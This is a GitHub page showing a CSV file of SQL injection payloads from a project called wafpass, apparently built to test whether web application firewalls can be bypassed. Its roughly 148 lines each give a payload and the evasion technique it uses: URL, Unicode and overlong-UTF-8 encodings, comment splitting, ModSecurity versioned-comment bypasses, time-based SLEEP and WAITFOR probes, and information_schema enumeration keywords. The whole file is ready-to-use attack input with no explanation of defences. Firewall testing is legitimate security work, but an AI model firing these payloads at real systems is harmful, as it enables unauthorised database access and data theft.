Branch: master ▾ wafpass / payloads / SQLi_Payloads.csv

Find file Copy path

hamedeasy Add files via upload 62aa3ab on Feb 14, 2017

1 contributor

149 lines (148 sloc) | 4.89 KB

Raw Blame History

We can make this file beautiful and searchable if this error is corrected: Illegal quoting in line 17.

```
1  ' or 2=2--@SQLi 2=2
2  (1)or(1)=(1)@SQLi Brackets
```

```
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871@SQLi apostrophe 2 UTF-8
1 AND %00%271%00%27=%00%271@SQLi apostrophe 2 illegal double unicode
1 AND 1=1%00@SQLi Appends encoded NULL byte
MScgQU5EIFNMRUVQKDUpIw==@SQLi Base64
1 AND A NOT BETWEEN 0 AND B--@SQLi Not between
1 AND A BETWEEN B AND B--@SQLi Between
SELECT%09id FROM%09users WHERE%09id LIKE 1@SQLi valid random blank character after SQL statement
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545@SQLi Double
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45@SQLi Url-encodes
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u
LIMIT 3 OFFSET 2@SQLi comma 2 OFFSET
MID(VERSION() FROM 1 FOR 1)@SQLi comma 2 FROM FOR
CONCAT_WS(MID(CHAR(0),0,0),1,2)@SQLi CONCAT 2 CONCAT_WS
SELECT * FROM users WHERE id LIKE 1@SQLi Equal 2 LIKE
1\\\\" AND SLEEP(5)#@SQLi Escape quotes
1 AND GREATEST(A,B+1)=A@SQLi GREATEST
/*!0UNION/*!0ALL/*!0SELECT@SQLi /*! statement
1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;@SQLi HTML Encode
IF(ISNULL(1),2,1)@SQLi IFNULL 2 IFISNULL
SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES@SQLi informationschema comment
select table_name from@SQLi lowercase
1 /*!30874AND 2>1*/--@SQLi bypass ModSec versioned
1 /*!00000AND 2>1*/--@SQLi bypass ModSec zero-versioned
1    UNION     SELECT   foobar@SQLi Multiple spaces
1 UNIOUNIONN SELESELECTCT 2--@SQLi Non Recursive
SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1@SQLi Overlong utf8
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E@SQLi Percentage
SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL@SQLi plus 2 CONCAT
SelEcT table_name FrOm@SQLi Random case
I/**/N/**/SERT@SQLi Random comments
1 AND 1=1 and '0having'='0having'@SQLi Secure sphere having
SELECT/**/id/**/FROM/**/users@SQLi space 2 comment
1–nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227@SQLi Space 2 dash %0A
```

```
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227@SQLi space 2 hash
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227@SQLi space 2 More hash
SELECT%0Eid%0DFROM%07users@SQLi space 2 MSSQLblank
1%23%0AAND%23%0A9227=9227@SQLi space 2 MSSQLhash
SELECT%0Bid%0DFROM%0Cusers@SQLi space 2 MsmySQLblank
1--%0AAND--%0A9227=9227@SQLi space 2 mySQLdash.py
SELECT+id+FROM+users@SQLi space 2 plus
SELECT%0Did%0DFROM%0Ausers@SQLi space 2 random blank
1 AND 9227=9227-- sp_password@SQLi sp_password
1 %26%26 '1'='1@SQLi symbolic logical
-1 UNION SELECT@SQLi UNION ALL 2 UNION
1%bf%27-- @SQLi unmagic quotes
1/*!UNION*//*!ALL*/@SQLi /*!UNION*/
and 'a'='a'@SQLi Wide variety of logical requests
and 1@SQLi Wide variety of logical requests
or 1@SQLi Wide variety of logical requests
and 1=1@SQLi Wide variety of logical requests
and 2<3@SQLi Wide variety of logical requests
and 'a'<>'b'@SQLi Wide variety of logical requests
and 3<=2@SQLi Wide variety of logical requests
and 5<=>4@SQLi Wide variety of logical requests
and 5<=>5@SQLi Wide variety of logical requests
and 5 is null@SQLi Wide variety of logical requests
or 5 is not null@SQLi Wide variety of logical requests
123<234@SQLi Keys
9928!=1239@SQLi Keys
abc'@SQLi Keys
abc"@SQLi Keys
or@SQLi Keys
and@SQLi Keys
''@SQLi Keys
'abc'@SQLi Keys
abc' --@SQLi Keys
```

```
=@SQLi Keys
>=@SQLi Keys
<=@SQLi Keys
between@SQLi Keys
like@SQLi Keys
order@SQLi Keys
by@SQLi Keys
ORDER/**/BY@SQLi Keys
having@SQLi Keys
||@SQLi Keys
&&@SQLi Keys
#@SQLi Keys
/*@SQLi Keys
union@SQLi Keys
uNioN@SQLi Keys
uN/**/ioN@SQLi Keys
select@SQLi Keys
seLeCt@SQLi Keys
seL/**/eCt@SQLi Keys
union select@SQLi Keys
union/**/select@SQLi Keys
uNion(sElect)@SQLi Keys
union all select@SQLi Keys
union/**/all/**/select@SQLi Keys
uNion all(sElect)@SQLi Keys
insert@SQLi Keys
values@SQLi Keys
update@SQLi Keys
delete@SQLi Keys
waitfor()@SQLi Keys
waitfor@SQLi Keys
sleep(2)@SQLi Keys
WAITFOR DELAY@SQLi Keys
```

```
benchmark()@SQLi Keys
information_schema@SQLi Keys
table_name@SQLi Keys
column_name@SQLi Keys
if@SQLi Keys
else@SQLi Keys
IF() select@SQLi Keys
case()@SQLi Keys
limit@SQLi Keys
char()@SQLi Keys
cast()@SQLi Keys
convert()@SQLi Keys
isnull()@SQLi Keys
substring()@SQLi Keys
concat()@SQLi Keys
hex()@SQLi Keys
unhex()@SQLi Keys
avg()@SQLi Keys
count()@SQLi Keys
min()@SQLi Keys
sum()@SQLi Keys
JOIN@SQLi Keys
@@version@SQLi Keys
user@SQLi Keys
drop@SQLi Keys
load_file()@SQLi Keys
extractvalue()@SQLi Keys
0x633A5C626F6F742E696E69@SQLi Keys
%55nion(%53elect 1,2,3)@SQLi Keys
uni%0bon+se%0blect@SQLi Keys
REVERSE(noinu) REVERSE(tceles)@SQLi Keys
/*--*/union/*--*/select/*--*/@SQLi Keys
union distinct select@SQLi Keys
```

```
135  niOn distiNct sElect@SQLi Keys
136  <!--@SQLi Keys
137  information_schema.tables@SQLi Keys
138  information_schema.columns@SQLi Keys
139  user()@SQLi Keys
140  system_user()@SQLi Keys
141  information_schema.schemata@SQLi Keys
142  table_schema@SQLi Keys
143  offset@SQLi Keys
144  distinct@SQLi Keys
145  @@hostname@SQLi Keys
146  @@datadir@SQLi Keys
147  version()@SQLi Keys
148  exec()@SQLi Keys
```